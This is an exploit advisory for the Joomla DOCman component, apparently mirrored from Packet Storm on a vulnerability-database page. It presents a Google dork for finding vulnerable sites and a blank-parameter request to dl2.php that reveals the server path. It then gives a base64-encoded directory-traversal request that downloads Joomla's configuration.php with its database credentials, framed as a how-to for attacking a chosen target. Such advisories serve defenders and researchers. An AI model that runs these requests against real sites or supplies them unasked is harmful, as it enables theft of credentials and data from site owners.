Lucene search
K

Joomla Docman Path Disclosure / Local File Inclusion

🗓️ 14 Jul 2015 00:00:00Reported by Hugo Santiago dos SantosType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Joomla Docman Component Path Disclosure & Local File Inclusio

Code
`# Joomla docman Component 'com_docman' Full Path Disclosure(FPD) & Local File Disclosure/Include(LFD/LFI)  
# CWE: CWE-200(FPD) CWE-98(LFI/LFD)  
# Risk: High  
# Author: Hugo Santiago dos Santos  
# Contact: [email protected]  
# Date: 13/07/2015  
# Vendor Homepage: http://extensions.joomla.org/extension/directory-a-documentation/downloads/docman  
# Google Dork: inurl:"/components/com_docman/dl2.php"  
  
# Xploit (FPD):   
  
Get one target and just download with blank parameter:   
http://www.site.com/components/com_docman/dl2.php?archive=0&file=  
  
In title will occur Full Path Disclosure of server.  
  
# Xploit (LFD/LFI):  
  
http://www.site.com/components/com_docman/dl2.php?archive=0&file=[LDF]  
  
Let's Xploit...  
  
First we need use Xploit FPD to see the path of target, after that we'll Insert 'configuration.php' configuration database file and encode in Base64:  
  
../../../../../../../target/www/configuration.php <= Not Ready  
  
http://www.site.com/components/com_docman/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA== <= Ready !  
  
  
And Now we have a configuration file...  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation